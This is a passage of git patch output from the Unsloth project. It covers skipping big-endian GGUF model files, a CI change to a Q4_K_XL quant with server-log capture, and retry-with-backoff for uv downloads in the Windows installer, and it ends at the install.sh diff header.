-            ),
-            key = lambda f: f.stat().st_size,
-            reverse = True,
-        )
+        gguf_files = []
+        for f in _iter_gguf_files(p):
+            context_rel = f"{f.parent.name}/{f.name}"
+            quant = _extract_quant_label(context_rel)
+            if (
+                _is_mmproj(f.name)
+                or _is_mtp_drafter(context_rel)
+                or _is_big_endian_gguf_path(context_rel, quant)
+            ):
+                continue
+            gguf_files.append(f)
+        gguf_files.sort(key = lambda f: f.stat().st_size, reverse = True)
         if gguf_files:
             return str(gguf_files[0].resolve())
 
@@ -1383,6 +1389,44 @@ def _extract_quant_label(filename: str) -> str:
     return stem.split("-")[-1]
 
 
+_BIG_ENDIAN_GGUF_FILENAME_RE = re.compile(r"(^|[-_])be(?:[._-]|$)", re.IGNORECASE)
+_GGUF_KNOWN_QUANT_RE = re.compile(
+    r"(UD-)?"
+    r"(MXFP[0-9]+(?:_[A-Z0-9]+)*"
+    r"|IQ[0-9]+_[A-Z]+(?:_[A-Z0-9]+)?"
+    r"|TQ[0-9]+_[0-9]+"
+    r"|Q[0-9]+_K_[A-Z]+"
+    r"|Q[0-9]+_[0-9]+"
+    r"|Q[0-9]+_K"
+    r"|BF16|F16|F32)",
+    re.IGNORECASE,
+)
+
+
+def _is_big_endian_gguf_path(path: str, quant: str = "") -> bool:
+    normalized = path.replace("\\", "/")
+    name = normalized.rsplit("/", 1)[-1]
+    stem = name.rsplit(".", 1)[0].lower()
+    quant_key = quant.strip().lower()
+    quant_index = stem.find(quant_key) if quant_key else -1
+    parent = normalized.rsplit("/", 1)[0].lower() if "/" in normalized else ""
+    quant_in_parent_only = (
+        bool(parent)
+        and quant_index < 0
+        and (
+            (quant_key and quant_key in parent)
+            or (not quant_key and _GGUF_KNOWN_QUANT_RE.search(parent) is not None)
+        )
+    )
+    for match in _BIG_ENDIAN_GGUF_FILENAME_RE.finditer(stem):
+        if quant_index >= 0 and quant_index < match.start():
+            return True
+        tail = stem[match.end() :].lstrip("._-")
+        if not tail or _GGUF_KNOWN_QUANT_RE.search(tail) is None:
+            return not quant_in_parent_only
+    return False
+
+
 def _local_gguf_companion_search_root(selected_path: str, gguf_file: str) -> str:
     """Directory to scan upward from for local GGUF companion files."""
     import re
@@ -1522,6 +1566,8 @@ def list_gguf_variants(
             continue
 
         quant = _extract_quant_label(fname)
+        if _is_big_endian_gguf_path(fname, quant):
+            continue
         quant_totals[quant] = quant_totals.get(quant, 0) + size
         if quant not in quant_first_file:
             quant_first_file[quant] = fname
@@ -1598,6 +1644,8 @@ def list_local_gguf_variants(directory: str) -> tuple[list[GgufVariantInfo], boo
         if _is_mtp_drafter(rel):
             continue
         quant = _extract_quant_label(rel)
+        if _is_big_endian_gguf_path(rel, quant):
+            continue
         quant_totals[quant] = quant_totals.get(quant, 0) + size
         if quant not in quant_first_file:
             quant_first_file[quant] = rel
@@ -1630,13 +1678,16 @@ def _find_local_gguf_by_variant(directory: str, variant: str) -> Optional[str]:
     # ``BF16/foo-BF16-00001-of-00002.gguf``) are found. Match the relative
     # path so the quant label can come from the dir name when the basename
     # omits it.
-    matches = sorted(
-        f
-        for f in _iter_gguf_files(p, recursive = True)
-        if not _is_mmproj(f.name)
-        and not _is_mtp_drafter(f.relative_to(p).as_posix())
-        and _extract_quant_label(f.relative_to(p).as_posix()) == variant
-    )
+    matches = []
+    for f in _iter_gguf_files(p, recursive = True):
+        rel = f.relative_to(p).as_posix()
+        if _is_mmproj(f.name) or _is_mtp_drafter(rel):
+            continue
+        quant = _extract_quant_label(rel)
+        if quant != variant or _is_big_endian_gguf_path(rel, quant):
+            continue
+        matches.append(f)
+    matches.sort()
     if matches:
         return str(matches[0].resolve())
     return None
@@ -1649,11 +1700,13 @@ def _detect_gguf_from_hf_cache(repo_id: str) -> Optional[str]:
     the projector cannot route it as the main model.
     """
     for snap in _iter_hf_cache_snapshots(repo_id):
-        rel_files = [
-            rel
-            for f in _iter_gguf_files(snap, recursive = True)
-            if not _is_mtp_drafter(rel := f.relative_to(snap).as_posix()) and not _is_mmproj(f.name)
-        ]
+        rel_files = []
+        for f in _iter_gguf_files(snap, recursive = True):
+            rel = f.relative_to(snap).as_posix()
+            quant = _extract_quant_label(rel)
+            if _is_mmproj(f.name) or _is_mtp_drafter(rel) or _is_big_endian_gguf_path(rel, quant):
+                continue
+            rel_files.append(rel)
         if rel_files:
             return _pick_best_gguf(rel_files)
     return None
@@ -1678,7 +1731,19 @@ def detect_gguf_model_remote(repo_id: str, hf_token: Optional[str] = None) -> Op
     for attempt in range(3):
         try:
             info = hf_model_info(repo_id, token = hf_token)
-            repo_files = [s.rfilename for s in info.siblings]
+            repo_files = []
+            for sibling in info.siblings:
+                fname = sibling.rfilename
+                if not fname.lower().endswith(".gguf"):
+                    continue
+                quant = _extract_quant_label(fname)
+                if (
+                    _is_mmproj(fname)
+                    or _is_mtp_drafter(fname)
+                    or _is_big_endian_gguf_path(fname, quant)
+                ):
+                    continue
+                repo_files.append(fname)
             return _pick_best_gguf(repo_files)
         except Exception as e:
             last_err = e
diff --git a/studio/frontend/src/features/chat/api/chat-adapter.ts b/studio/frontend/src/features/chat/api/chat-adapter.ts
index ae4d31b27c..96cb1473bd 100644
--- a/studio/frontend/src/features/chat/api/chat-adapter.ts
+++ b/studio/frontend/src/features/chat/api/chat-adapter.ts
@@ -46,6 +46,7 @@ import {
 import { useExternalProvidersStore } from "../stores/external-providers-store";
 import { isMultimodalResponse } from "../types/api";
 import type {
+  GgufVariantDetail,
   OpenAIChatCompletionsRequest,
   OpenAIChatMessage,
   OpenAIMessageContent,
@@ -1141,6 +1142,45 @@ function waitForModelReady(abortSignal?: AbortSignal): Promise<void> {
  */
 // Cap cascade so broken cached repos can't spam /api/inference/load.
 const MAX_AUTO_LOAD_ATTEMPTS = 3;
+const BIG_ENDIAN_GGUF_FILENAME_RE = /(^|[-_])be(?:[._-]|$)/gi;
+const GGUF_KNOWN_QUANT_RE =
+  /(UD-)?(MXFP[0-9]+(?:_[A-Z0-9]+)*|IQ[0-9]+_[A-Z]+(?:_[A-Z0-9]+)?|TQ[0-9]+_[0-9]+|Q[0-9]+_K_[A-Z]+|Q[0-9]+_[0-9]+|Q[0-9]+_K|BF16|F16|F32)/i;
+
+function hasBigEndianGgufMarker(filename: string, quant?: string | null): boolean {
+  const normalized = filename.replace(/\\/g, "/").toLowerCase();
+  const separatorIndex = normalized.lastIndexOf("/");
+  const basename = separatorIndex >= 0 ? normalized.slice(separatorIndex + 1) : normalized;
+  const parent = separatorIndex >= 0 ? normalized.slice(0, separatorIndex) : "";
+  const stem = basename.replace(/\.[^.]*$/, "");
+  const quantKey = quant?.trim().toLowerCase() || "";
+  const quantIndex = quantKey ? stem.indexOf(quantKey) : -1;
+  const quantInParentOnly =
+    !!parent &&
+    quantIndex < 0 &&
+    ((!!quantKey && parent.includes(quantKey)) ||
+      (!quantKey && GGUF_KNOWN_QUANT_RE.test(parent)));
+  for (const match of stem.matchAll(BIG_ENDIAN_GGUF_FILENAME_RE)) {
+    if (quantIndex >= 0 && quantIndex < (match.index ?? 0)) {
+      return true;
+    }
+    const tail = stem.slice((match.index ?? 0) + match[0].length).replace(/^[._-]+/, "");
+    if (!tail || !GGUF_KNOWN_QUANT_RE.test(tail)) {
+      return !quantInParentOnly;
+    }
+  }
+  return false;
+}
+
+function isAutoLoadableGgufVariant(variant: GgufVariantDetail | null): boolean {
+  if (!variant?.filename) {
+    return false;
+  }
+  const filename = variant.filename.trim().toLowerCase();
+  if (!filename) {
+    return false;
+  }
+  return !hasBigEndianGgufMarker(filename, variant.quant);
+}
 
 async function autoLoadSmallestModel(): Promise<{
   loaded: boolean;
@@ -1195,7 +1235,7 @@ async function autoLoadSmallestModel(): Promise<{
         try {
           const variants = await listGgufVariants(repo.repo_id);
           const downloaded = variants.variants
-            .filter((v) => v.downloaded)
+            .filter((v) => v.downloaded && isAutoLoadableGgufVariant(v))
             .sort((a, b) => a.size_bytes - b.size_bytes);
           if (downloaded.length > 0) {
             const variant = downloaded[0];

From c20f25afacf235075cb16957ada97fbb7ccc5c5a Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 16 Jun 2026 03:43:35 -0700
Subject: [PATCH 30/91] ci(studio): fix Linux tool-calling flake (Q4_K_XL) +
 capture server logs (#6360)

Linux tool calling used Qwen3.5-2B IQ3_XXS. That quant is aggressive
enough that the model intermittently emits a malformed tool call
(doubled </parameter>, stray </tool_call>), and llama-server's
peg-native parser rejects it with a 500, failing the job. Mac and
Windows already run this test at Q4_K_XL; align Linux.

Also copy ~/.unsloth/studio/logs (backend server log + llama-server log)
into the tool-calling and ui-smoke artifacts on stop. Previously only
studio.log + install.log were uploaded, so a /v1/chat/completions or
/api/inference/load 500 had no server-side traceback to diagnose from.
---
 .github/workflows/studio-inference-smoke.yml | 11 +++++++++--
 .github/workflows/studio-ui-smoke.yml        |  5 +++++
 2 files changed, 14 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/studio-inference-smoke.yml b/.github/workflows/studio-inference-smoke.yml
index cffb33f71d..c2c4fa03bf 100644
--- a/.github/workflows/studio-inference-smoke.yml
+++ b/.github/workflows/studio-inference-smoke.yml
@@ -317,7 +317,7 @@ jobs:
     timeout-minutes: 25
     env:
       # Tool calling is the highest-volume GGUF in this workflow
-      # (Qwen3.5-2B at IQ3_XXS = ~890 MiB). Caching HF_HOME would
+      # (Qwen3.5-2B at Q4_K_XL = ~1.28 GiB). Caching HF_HOME would
       # store xet chunks + blobs + snapshots = ~4 GiB compressed --
       # 4-5x file-size inflation, dominated by xet chunks. Use main's
       # `--local-dir gguf-cache` pattern to cache the flat .gguf only.
@@ -326,8 +326,11 @@ jobs:
       # path keeps the test off HF_HOME entirely so the cache size
       # tracks the GGUF file 1:1. The OpenAI/Anth and JSON+images
       # jobs still cover the gguf_variant resolution path.
+      # Q4_K_XL, not IQ3_XXS: at IQ3_XXS this model emits malformed
+      # tool calls that llama-server's peg-native parser rejects with a
+      # 500. Mac/Windows already use Q4_K_XL for the same reason.
       GGUF_REPO: unsloth/Qwen3.5-2B-GGUF
-      GGUF_FILE: Qwen3.5-2B-UD-IQ3_XXS.gguf
+      GGUF_FILE: Qwen3.5-2B-UD-Q4_K_XL.gguf
       STUDIO_PORT: '18889'
     steps:
       - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
@@ -772,6 +775,9 @@ jobs:
           kill "${STUDIO_PID}" 2>/dev/null || true
           sleep 2
           ss -tln | grep ":${STUDIO_PORT}" || true
+          # Capture backend + llama-server logs so a 500 has a server-side traceback.
+          mkdir -p logs/server-logs
+          cp -r ~/.unsloth/studio/logs/. logs/server-logs/ 2>/dev/null || true
 
       - name: Upload logs
         # Always upload so green runs are still reviewable.
@@ -784,6 +790,7 @@ jobs:
           path: |
             logs/studio.log
             logs/install.log
+            logs/server-logs/
           retention-days: 7
 
   # ─────────────────────────────────────────────────────────────────────
diff --git a/.github/workflows/studio-ui-smoke.yml b/.github/workflows/studio-ui-smoke.yml
index de106e201f..dcf9fd26af 100644
--- a/.github/workflows/studio-ui-smoke.yml
+++ b/.github/workflows/studio-ui-smoke.yml
@@ -276,6 +276,10 @@ jobs:
         run: |
           kill "${STUDIO_IME_PID}" 2>/dev/null || true
           sleep 2
+          # Capture backend + llama-server logs (all three Studios share this
+          # dir) so a stray 500 has a server-side traceback.
+          mkdir -p logs/server-logs
+          cp -r ~/.unsloth/studio/logs/. logs/server-logs/ 2>/dev/null || true
 
       - name: Upload Playwright artifacts
         # Always upload so a green run's screenshots stay reviewable --
@@ -289,6 +293,7 @@ jobs:
             logs/studio_extra.log
             logs/studio_ime.log
             logs/install.log
+            logs/server-logs/
             logs/playwright
             logs/playwright_extra
             logs/playwright_ime

From 375350e0b645bbaa9f719fd8fb8277c481e942ac Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 16 Jun 2026 03:48:01 -0700
Subject: [PATCH 31/91] Make the Studio installers (sh + ps1) resilient to
 transient uv download failures (#6281)

* Make Studio installer resilient to transient uv download failures

Updating an existing Studio install via install.sh could hard-fail and roll
back when a wheel download (torch, unsloth) hit a transient connection reset:

  x Failed to download unsloth==2026.6.6
  error decoding response body -> error reading a body from connection
  -> connection reset
  restoring previous environment after failed install...

Root cause: that error chain is a mid-stream HTTP/2 body read failure. uv did
not retry this class until 0.8.16 (astral-sh/uv#15675, h2 was shadowing the
underlying IO error), but the installer pinned UV_MIN_VERSION=0.7.22, so a stale
uv got zero retries and a single blip aborted the whole update under set -e.

Fix (installer only, backwards compatible, no change on success):
- Raise UV_MIN_VERSION to 0.8.16 so stale uv is upgraded to a version that
  retries HTTP/2 streaming body errors.
- Export UV_HTTP_RETRIES=5 and UV_HTTP_TIMEOUT=180 (override-preserving :=).
- Add run_install_cmd_retry (retry-with-backoff around run_install_cmd) and use
  it for the network-heavy uv pip install steps (torch, unsloth, unsloth-zoo
  from git, ROCm torch repair, no-torch runtime deps). Local editable overlays
  and venv creation are left to fail fast.

run_install_cmd_retry preserves the final exit code on permanent failure, so the
existing set -e rollback trap still fires.

* Apply the same transient-download resilience to the Windows installer

install.ps1 is the native-Windows installer and had the identical issue as
install.sh: it pinned $UvMinVersion=0.7.22 (below uv 0.8.16, which is where uv
started retrying HTTP/2 streaming body errors), set no UV_HTTP_* defaults, and
ran each 'uv pip install' once via Invoke-InstallCommand, so a single connection
reset aborted the update and triggered the Exit-InstallFailure rollback.

install.ps1:
- Raise $UvMinVersion to 0.8.16.
- Default $env:UV_HTTP_RETRIES=5 and $env:UV_HTTP_TIMEOUT=180 (preserving overrides).
- Add Invoke-InstallCommandRetry and use it for the network-heavy uv pip install
  steps (torch, unsloth, unsloth-zoo from git, ROCm torch, no-torch runtime deps).
  Local editable overlays and venv creation stay single-shot.

install.sh:
- Align UNSLOTH_INSTALL_RETRIES sanitization with the PowerShell version: a
  non-positive-integer value now falls back to the default of 3 instead of
  silently disabling retries (set =1 to disable). Keeps both installers identical.

* Adopt pre-marker Studio llama.cpp and sidecar dirs on update

After the uv retry fix, an update now reaches studio/setup.sh, whose
Studio-owned ownership guard rejects a llama.cpp or sidecar venv created by an
earlier install that predates the .unsloth-studio-owned marker:

  ERROR: .../llama.cpp already exists and is not marked as a Studio-owned
         llama.cpp install.

The marker and UNSLOTH_PREBUILT_INFO.json were introduced in the same commit,
so a directory from before that point carries neither signal and a legitimate
self-update fails for anyone who installed earlier (reported on issue #6274).

Fold a one-time adoption into _assert_studio_owned_or_absent (setup.sh) and
Assert-StudioOwnedOrAbsent (setup.ps1): when a custom-home directory lacks the
marker, backfill it and proceed only when there is positive evidence it belongs
to an established Studio home -- the directory carries UNSLOTH_PREBUILT_INFO.json,
or STUDIO_HOME already holds Studio's CLI shim or studio.conf from a prior run.
Both installers write the shim and studio.conf only after invoking setup, so a
fresh install into a dirty custom home (the case the guard protects) does not
have them yet and is still rejected. The venv marker is excluded because install
writes it before setup and so cannot tell a prior install from a fresh one.

* Review fixes: restrict llama.cpp adoption to dir-local evidence; restore install.sh +x

Addresses the PR review on the marker-migration change.

P1 - the adoption helper keyed on root-level Studio sentinels ($STUDIO_HOME/bin
/unsloth, share/studio.conf), so once a home was recognized every unmarked child
passed to the guard became adoptable, and an unrelated directory at a
Studio-managed path could be silently marked and overwritten. Base adoption on
evidence inside the directory instead:
  - UNSLOTH_PREBUILT_INFO.json, written by the prebuilt llama.cpp installer (the
    default path, in place well before the marker), or
  - a top-level llama-quantize symlink, written by source builds (a plain
    llama.cpp checkout keeps the binary under build/bin, not a root symlink).
A foreign llama.cpp now stays rejected even inside an established Studio home,
and sidecar venvs (no such fingerprint) stay subject to the strict guard; their
marker has been written since the guard was introduced, so a real custom install
already carries it.

P2 - restore the executable bit on install.sh; a stray mode change to 100644
would break ./install.sh --local on Unix.

On Windows the prebuilt metadata is the signal; source builds are git checkouts
indistinguishable from a user clone, so they are left to the strict guard.

* Bound UNSLOTH_INSTALL_RETRIES / _DELAY before numeric use

An oversized all-digit override (e.g. a fat-fingered
"99999999999999999999") passed the digit-only validation and then reached the
numeric comparison: POSIX `[ -ge ]` errored with "Illegal number" mid-loop and
could spin instead of falling back, and PowerShell's `[int]` cast threw an
Int32 overflow under $ErrorActionPreference = "Stop" before any install ran.

Sanitize with a length guard + range check (sh) and [int]::TryParse with bounds
(ps1), so out-of-range or oversized values fall back to the default. Bounds:
1..100 retries, 0..3600s base delay.

* Studio installers: scope llama.cpp adoption to prebuilt metadata; reject leading-zero retry delay

setup.sh: drop the top-level llama-quantize symlink as an ownership-adoption signal, leaving UNSLOTH_PREBUILT_INFO.json as the sole fingerprint. The shared ownership guard runs immediately before a destructive replace / rm -rf, and a bare root llama-quantize symlink is user-creatable (a user can keep their own llama.cpp build with such a convenience symlink at a custom UNSLOTH_STUDIO_HOME), so the old check could adopt and then delete a user directory. This matches the Windows installer, which already keeps markerless source builds strict. Pre-marker prebuilt installs still adopt via the metadata file, so the original update fix is preserved.

install.sh: reject leading-zero values for UNSLOTH_INSTALL_RETRY_DELAY. A value like 08 or 09 passed the range check but then hit the backoff doubling $((_ricr_delay * 2)), where a non-octal leading zero is a fatal arithmetic error mid-retry. The 0?* pattern routes such values to the default; bare 0 stays valid.

* Tighten the comments added in this PR

* Condense the comments in this PR
---
 install.ps1      | 74 +++++++++++++++++++++++++++++++---------
 install.sh       | 89 +++++++++++++++++++++++++++++++++++-------------
 studio/setup.ps1 | 13 +++++++
 studio/setup.sh  | 14 ++++++++
 4 files changed, 149 insertions(+), 41 deletions(-)

diff --git a/install.ps1 b/install.ps1
index 1073ab5726..367dbe12f6 100644
--- a/install.ps1
+++ b/install.ps1
@@ -482,6 +482,37 @@ function Install-UnslothStudio {
         }
     }
 
+    # Retry Invoke-InstallCommand on transient uv download failures with backoff.
+    # Returns the last exit code on permanent failure so rollback still fires.
+    function Invoke-InstallCommandRetry {
+        param(
+            [Parameter(Mandatory = $true, Position = 0)][ScriptBlock]$Command,
+            [string]$Label = "install step"
+        )
+        # Sanitize overrides to a default of 3 (a typo must not disable retries; =1 disables).
+        # TryParse with bounds avoids an Int32 overflow throw. Bounds: 1..100 retries, 0..3600s.
+        $maxAttempts = 3
+        $parsedAttempts = 0
+        if ([int]::TryParse($env:UNSLOTH_INSTALL_RETRIES, [ref]$parsedAttempts) -and $parsedAttempts -ge 1 -and $parsedAttempts -le 100) {
+            $maxAttempts = $parsedAttempts
+        }
+        $delay = 3
+        $parsedDelay = 0
+        if ([int]::TryParse($env:UNSLOTH_INSTALL_RETRY_DELAY, [ref]$parsedDelay) -and $parsedDelay -ge 0 -and $parsedDelay -le 3600) {
+            $delay = $parsedDelay
+        }
+        $attempt = 1
+        while ($true) {
+            $code = Invoke-InstallCommand $Command
+            if ($code -eq 0) { return 0 }
+            if ($attempt -ge $maxAttempts) { return $code }
+            substep ("retrying ""$Label"" after transient failure (attempt $($attempt + 1)/$maxAttempts, waiting ${delay}s)...") "Yellow"
+            Start-Sleep -Seconds $delay
+            $attempt++
+            $delay = $delay * 2
+        }
+    }
+
     function New-StudioShortcuts {
         param(
             [Parameter(Mandatory = $true)][string]$UnslothExePath
@@ -1181,7 +1212,7 @@ shell.Run cmd, 0, False
 
     # ── Install uv ──
     Write-TauriLog "STEP" "Installing uv package manager"
-    $UvMinVersion = "0.7.22"
+    $UvMinVersion = "0.8.16"
     function Test-UvVersionOk {
         $cmd = Get-Command uv -ErrorAction SilentlyContinue
         if (-not $cmd) { return $false }
@@ -1252,6 +1283,15 @@ shell.Run cmd, 0, False
         $env:UV_COMPILE_BYTECODE_TIMEOUT = "180"
     }
 
+    # uv >= 0.8.16 retries HTTP/2 streaming body errors; raise retries and read
+    # timeout for large wheel downloads. User-provided values are preserved.
+    if (-not $env:UV_HTTP_RETRIES) {
+        $env:UV_HTTP_RETRIES = "5"
+    }
+    if (-not $env:UV_HTTP_TIMEOUT) {
+        $env:UV_HTTP_TIMEOUT = "180"
+    }
+
     # ── Create venv (migrate old layout if possible, otherwise fresh) ──
     # Pass the resolved executable path to uv so it does not re-resolve
     # a version string back to a conda interpreter.
@@ -1930,21 +1970,21 @@ shell.Run cmd, 0, False
         if ($SkipTorch) {
             # No-torch: install unsloth + unsloth-zoo with --no-deps, then
             # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
-            $baseInstallExit = Invoke-InstallCommand { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.7" unsloth-zoo }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.7" unsloth-zoo }
             if ($baseInstallExit -eq 0) {
                 # Resolve pydantic WITH deps so pip pins pydantic-core
                 # to the matching version (no-torch-runtime.txt below
                 # is --no-deps). All transitive deps are torch-free.
-                $baseInstallExit = Invoke-InstallCommand { uv pip install --python $VenvPython pydantic }
+                $baseInstallExit = Invoke-InstallCommandRetry -Label "install pydantic" { uv pip install --python $VenvPython pydantic }
             }
             if ($baseInstallExit -eq 0) {
                 $NoTorchReq = Find-NoTorchRuntimeFile
                 if ($NoTorchReq) {
-                    $baseInstallExit = Invoke-InstallCommand { uv pip install --python $VenvPython --no-deps -r $NoTorchReq }
+                    $baseInstallExit = Invoke-InstallCommandRetry -Label "install no-torch runtime deps" { uv pip install --python $VenvPython --no-deps -r $NoTorchReq }
                 }
             }
         } else {
-            $baseInstallExit = Invoke-InstallCommand { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.7" unsloth-zoo }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.7" unsloth-zoo }
         }
         if ($baseInstallExit -ne 0) {
             Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red
@@ -1958,7 +1998,7 @@ shell.Run cmd, 0, False
                 return (Exit-InstallFailure "Failed to overlay local repo (exit code $overlayExit)" $overlayExit)
             }
             substep "overlaying unsloth-zoo from git main..."
-            $zooOverlayExit = Invoke-InstallCommand { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth-zoo "unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo" }
+            $zooOverlayExit = Invoke-InstallCommandRetry -Label "overlay unsloth-zoo (git main)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth-zoo "unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo" }
             if ($zooOverlayExit -ne 0) {
                 Write-Host "[ERROR] Failed to overlay unsloth-zoo (exit code $zooOverlayExit)" -ForegroundColor Red
                 return (Exit-InstallFailure "Failed to overlay unsloth-zoo (exit code $zooOverlayExit)" $zooOverlayExit)
@@ -1971,7 +2011,7 @@ shell.Run cmd, 0, False
             Write-TauriLog "STEP" "Installing PyTorch (AMD ROCm Windows)"
             substep "installing PyTorch from $ROCmIndexUrl..."
             $torchSpec = if ($ROCmTorchFloor) { $ROCmTorchFloor } else { "torch" }
-            $torchInstallExit = Invoke-InstallCommand { uv pip install --python $VenvPython --force-reinstall --index-url $ROCmIndexUrl $torchSpec torchvision torchaudio }
+            $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (AMD ROCm)" { uv pip install --python $VenvPython --force-reinstall --index-url $ROCmIndexUrl $torchSpec torchvision torchaudio }
             if ($torchInstallExit -ne 0) {
                 Write-Host "[ERROR] Failed to install AMD ROCm PyTorch (exit code $torchInstallExit)" -ForegroundColor Red
                 return (Exit-InstallFailure "Failed to install AMD ROCm PyTorch (exit code $torchInstallExit)" $torchInstallExit)
@@ -1979,7 +2019,7 @@ shell.Run cmd, 0, False
         } else {
             Write-TauriLog "STEP" "Installing PyTorch"
             substep "installing PyTorch ($TorchIndexUrl)..."
-            $torchInstallExit = Invoke-InstallCommand { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl }
+            $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch" { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl }
             if ($torchInstallExit -ne 0) {
                 Write-Host "[ERROR] Failed to install PyTorch (exit code $torchInstallExit)" -ForegroundColor Red
                 return (Exit-InstallFailure "Failed to install PyTorch (exit code $torchInstallExit)" $torchInstallExit)
@@ -1991,21 +2031,21 @@ shell.Run cmd, 0, False
         if ($SkipTorch) {
             # No-torch: install unsloth + unsloth-zoo with --no-deps, then
             # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
-            $baseInstallExit = Invoke-InstallCommand { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.6.7" unsloth-zoo }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.6.7" unsloth-zoo }
             if ($baseInstallExit -eq 0) {
                 # Same pydantic-with-deps trick as the migrated branch.
-                $baseInstallExit = Invoke-InstallCommand { uv pip install --python $VenvPython pydantic }
+                $baseInstallExit = Invoke-InstallCommandRetry -Label "install pydantic" { uv pip install --python $VenvPython pydantic }
             }
             if ($baseInstallExit -eq 0) {
                 $NoTorchReq = Find-NoTorchRuntimeFile
                 if ($NoTorchReq) {
-                    $baseInstallExit = Invoke-InstallCommand { uv pip install --python $VenvPython --no-deps -r $NoTorchReq }
+                    $baseInstallExit = Invoke-InstallCommandRetry -Label "install no-torch runtime deps" { uv pip install --python $VenvPython --no-deps -r $NoTorchReq }
                 }
             }
         } elseif ($StudioLocalInstall) {
-            $baseInstallExit = Invoke-InstallCommand { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.6.7" unsloth-zoo }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.6.7" unsloth-zoo }
         } else {
-            $baseInstallExit = Invoke-InstallCommand { uv pip install --python $VenvPython --upgrade-package unsloth -- "$PackageName" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth" { uv pip install --python $VenvPython --upgrade-package unsloth -- "$PackageName" }
         }
         if ($baseInstallExit -ne 0) {
             Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red
@@ -2020,7 +2060,7 @@ shell.Run cmd, 0, False
                 return (Exit-InstallFailure "Failed to overlay local repo (exit code $overlayExit)" $overlayExit)
             }
             substep "overlaying unsloth-zoo from git main..."
-            $zooOverlayExit = Invoke-InstallCommand { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth-zoo "unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo" }
+            $zooOverlayExit = Invoke-InstallCommandRetry -Label "overlay unsloth-zoo (git main)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth-zoo "unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo" }
             if ($zooOverlayExit -ne 0) {
                 Write-Host "[ERROR] Failed to overlay unsloth-zoo (exit code $zooOverlayExit)" -ForegroundColor Red
                 return (Exit-InstallFailure "Failed to overlay unsloth-zoo (exit code $zooOverlayExit)" $zooOverlayExit)
@@ -2031,7 +2071,7 @@ shell.Run cmd, 0, False
         Write-TauriLog "STEP" "Installing unsloth"
         substep "installing unsloth (this may take a few minutes)..."
         if ($StudioLocalInstall) {
-            $baseInstallExit = Invoke-InstallCommand { uv pip install --python $VenvPython unsloth-zoo "unsloth>=2026.6.7" --torch-backend=auto }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython unsloth-zoo "unsloth>=2026.6.7" --torch-backend=auto }
             if ($baseInstallExit -ne 0) {
                 Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red
                 return (Exit-InstallFailure "Failed to install unsloth (exit code $baseInstallExit)" $baseInstallExit)
@@ -2043,13 +2083,13 @@ shell.Run cmd, 0, False
                 return (Exit-InstallFailure "Failed to overlay local repo (exit code $overlayExit)" $overlayExit)
             }
             substep "overlaying unsloth-zoo from git main..."
-            $zooOverlayExit = Invoke-InstallCommand { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth-zoo "unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo" }
+            $zooOverlayExit = Invoke-InstallCommandRetry -Label "overlay unsloth-zoo (git main)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth-zoo "unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo" }
             if ($zooOverlayExit -ne 0) {
                 Write-Host "[ERROR] Failed to overlay unsloth-zoo (exit code $zooOverlayExit)" -ForegroundColor Red
                 return (Exit-InstallFailure "Failed to overlay unsloth-zoo (exit code $zooOverlayExit)" $zooOverlayExit)
             }
         } else {
-            $baseInstallExit = Invoke-InstallCommand { uv pip install --python $VenvPython --torch-backend=auto -- "$PackageName" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython --torch-backend=auto -- "$PackageName" }
             if ($baseInstallExit -ne 0) {
                 Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red
                 return (Exit-InstallFailure "Failed to install unsloth (exit code $baseInstallExit)" $baseInstallExit)
diff --git a/install.sh b/install.sh
index 5e08680628..fa0535a51b 100755
--- a/install.sh
+++ b/install.sh
